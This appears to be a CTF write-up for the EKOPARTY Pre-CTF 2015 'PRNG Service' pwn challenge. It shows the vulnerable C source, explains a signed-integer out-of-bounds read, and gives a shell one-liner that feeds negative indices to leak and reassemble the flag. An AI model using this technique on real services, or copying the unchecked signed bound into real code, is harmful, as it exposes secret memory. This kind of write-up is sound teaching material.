Description
Description: This is our PRNG service
running at:
nc challs.ctf.site 20003Attachment: pwn25
Resolution
This in C code provided in the given zip file :
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <string.h>
#include <answer.h>
int main()
{
signed int i;
unsigned int base, try, rnd[128];
printf("Welcome to PRNG service\nPlease wait while we generate 64 random numbers...\n");
fflush(0);
sleep(2);
strcpy((char *)&rnd[0], ANSWER);
srandom(1337);
base = 64;
for (i = 0; i < 64; i++) rnd[base + i] = random();
printf("Process finished\n");
fflush(0);
try = 0;
while (try < 10) {
printf("Choose a number [0-63]?");
fflush(0);
scanf("%d", &i);
fflush(0);
if (i < 64) {
printf ("Your number is: 0x%08x\n", rnd[base + i]);
} else {
printf("Index out of range\n");
}
try++;
fflush(0);
}
printf ("Thank you for using our service\n");
fflush(0);
return 0;
}
rnd is an array, filled from offset 64 to 128 with random numbers. We also have rnd[0] filled with the flag. The goal is to display index 0 of this array.
In a while loop, we can provide a signed integer to chose an index to display.
The issue is that if we provide the number N, it’s number 64+N which is displayed.
The trick is, since our input is saved in a signed integer, we can provide -64 to scanf to display 4 bytes of rnd[0], then -63 for the next 4 bytes, and so on.
This is how it’s done :
$ flag=$(for i in $(seq -64 -54); do echo $i; done | ./task | grep Choose | awk -F " " '{print $7}' | xxd -r -p); for (( i=0; i<=${#flag}; i+=4 )); do for j in $(seq 0 3); do echo -n ${flag:$i+4-$j-1:1}; done; done; echo ""
EKO{little_endian_and_signed_-1nt}
So the flag is :
EKO{little_endian_and_signed_-1nt}
[EKOPARTY PRE-CTF 2015] [Pwn25 – PRNG Service] Write Up